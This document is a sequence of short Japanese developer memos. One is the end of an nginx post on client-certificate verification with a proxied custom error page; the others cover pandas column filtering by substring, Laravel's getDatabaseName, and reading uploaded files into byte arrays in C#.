`ssl_verify_client`でクライアント証明書の検証を行います。証明書失敗時は、400ステータスコードが返されます。また、`on`、`off`、`optional`、`optional_no_ca`の4つのsyntaxを設定できます。

`on`に設定した場合、検証に失敗した時点で終了し、**nginxサーバ内の400ページに強制的にreturnされます。**ですが、今回は、内部ではなく、外部にプロキシしたいため、`optional`に設定します。

**`optional`に設定すると、`$ssl_client_verify`に検証結果が格納され、強制returnがなくなるため、後述でプロキシ設定を追加することができます。**ですが、裏を返せば、自前で検証結果に応じてどう処理するか追加する必要性もあります。また、`ssl_verify_clinet`と`$ssl_client_verify`が似ており、注意が必要です。

http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_verify_client

### $ssl_client_verify

> returns the result of client certificate verification: “SUCCESS”, “FAILED:reason”, and “NONE” if a certificate was not present;

証明書検証の結果には、`SUCCESS`と`FAILED:reason`、`NONE`が含まれ、今回は`SUCCESS`をもとに`if`ディレクティブで検証結果を判別するように記述しています。また、`if`は、`location`、`server`ディレクティブ内でしか記述できないため注意が必要です。

http://nginx.org/en/docs/http/ngx_http_ssl_module.html#var_ssl_client_verify

### proxy_pass

プロキシしたいサーバ先のURLで、今回はここにカスタムエラーページのURLを記述しています。

http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

# おわりに

なんて事のない設定なのですが、アプリケーションコードと違って、デバックがしづらく、書いてみないとどう動くか？どこがダメなのか？が私には捉えづらく、nginxやapachなどのサーバ設定はまた違う難しさがあるなと改めて感じました。
【Pandas】列名に任意の文字列を含む列のみを抽出する

備忘録として

例としてDataFrameを作成

```py
import pandas as pd
import numpy as np

A = np.random.randint(10, size=(3, 6))
df = pd.DataFrame(A, columns=['xx_0', 'yy_0', 'zz_0', 'xx_1', 'yy_1', 'zz_1'])
df
#    xx_0  yy_0  zz_0  xx_1  yy_1  zz_1
# 0     1     7     2     0     8     4
# 1     9     4     4     3     6     0
# 2     3     4     9     5     8     2
```

'xx'を抽出したい文字列とする。
カラムの抽出にはブール値マスクを使ってみる。

データフレームをマスクするためのブール値配列を作成。リスト内包表記を使う。

```py
mask = ['xx' in s for s in df.columns]
mask
# [True, False, False, True, False, False]
```
`'xx' in s`は変数sに文字列xxが含まれる場合`True`、そうでない場合は`False`を返す。


`loc`メソッドでカラム側のスライスにマスクを指定して

```py
df.loc[:, mask]
#    xx_0  xx_1
# 0     1     0
# 1     9     3
# 2     3     5
```

'xx'を含む列のみ抽出できた。`loc`の代わりに`iloc`でも良さそう。
【Laravel】デフォルトのスキーマが知りたい

## 結論
`\Illuminate\Database\ConnectionInterface`の`getDatabaseName`メソッドを呼ぶ。

DBファサードで呼べる

```php
echo \DB::getDatabaseName();
```

## 使い方
テーブル名の一覧を配列で欲しい時に使えます。

```php
$tables = \DB::select('SHOW TABLES');

$name = "Tables_in_" . \DB::getDatabaseName();

$tables = array_map(function ($v) use ($name) {
    return $v->{$name};
}, $tables);

dd($tables);
```
【C#】inputのtype="file"で添付したファイルを扱いたい

inputのtype="file"で添付したファイルをサーバー側で受け取って処理したい。
例としてファイルをbyte配列に変換する。

```html:HTML
<input type="file" name="file" id="file" />
```

```cs:CS
public byte[] File2Array(HttpPostedFileWrapper file)
{
    using (MemoryStream ms = new MemoryStream())
    {
        file.InputStream.CopyTo(ms);
        return ms.ToArray();
    }
}
```